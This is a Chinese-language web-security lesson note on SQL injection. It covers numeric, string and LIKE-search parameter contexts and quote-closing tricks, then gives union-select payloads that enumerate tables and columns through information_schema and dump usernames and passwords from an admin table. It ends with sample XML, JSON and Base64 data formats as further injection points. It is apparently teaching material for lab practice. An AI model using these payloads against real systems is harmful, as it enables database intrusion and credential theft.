知识点:
1、Web攻防-SQL注入-参数类型&参数格式
2、Web攻防-SQL注入-XML&JSON&BASE64等
3、Web攻防-SQL注入-数字字符搜索等符号绕过
案例说明:
在应用中,存在参数值为数字,字符时,符号的介入,另外搜索功能通配符的再次介入,另外传输数据可由最基本的对应赋值传递改为更加智能的XML
或JSON
格式传递,部分保证更安全的情况还会采用编码或加密形式传递数据,给于安全测试过程中更大的挑战和难度。
一、演示案例-WEB攻防-SQL注入-参数类型&符号干扰
需要考虑闭合问题
数字
select * from news where id=$id;
字符
select * from news where name='$name';
搜索
select * from news where name like '%name%';
符号干扰:有无单引号或双引号及通配符等
%' order by 3#
%' union select 1,2,3#
知道数据库名:news_db
获取数据库名下的表名信息:
借助自带的information_schema.tables
表(记录所有数据库名下的表名)
1%' union select 1,2,table_name from information_schema.tables where table_schema='news_db'#
admin
表名下的列名
借助自带的information_schema.columns
表(记录所有数据库名下的表名对应的列名信息)
1%' union select 1,2,column_name from information_schema.columns where table_schema='news_db' and table_name='admin'#
查询列名相关数据
1%' union select 1,username,password from admin#
二、演示案例-WEB攻防-SQL注入-参数格式&参数编码
1、数据传输采用XML或JSON格式传递
2、数据传输采用编码或加密形式传递
3、数据传递采用JSON又采用编码传递
XML
<?xml version="1.0" encoding="UTF-8"?>
<news><article><id>1</id><title>xiaodi</title><content>i am xiaodi</content><created_at>2025-03-07</created_at></article><article><id>2</id><title>xiaodisec</title><content>i am xiaodisec</content><created_at>2025-03-06</created_at></article>
</news>
JSON
{"news:"[
{"id": 1,"title": "xiaodi","content": "i am xiaodi","created_at": "2025-03-07"
},
{"id": 2,"title": "xiaodisec","content": "i am xiaodisec","created_at": "2025-03-06"
}]
}
Base64
{"news": [
{"id": "MQ==","title": "eGlhb2Rp","content": "aSBhbSB4aWFvZGk=","created_at": "MjAyNS0wMy0wNw=="
},
{"id": "Mg==","title": "eGlhb2Rpc2Vj","content": "aSBhbSB4aWFvZGlzZWM=","created_at": "MjAyNS0wMy0wNg=="
}]
}
实例应用-编码注入案例
https://mp.weixin.qq.com/s/Xf08xaV-YcZsQopE19pPEQ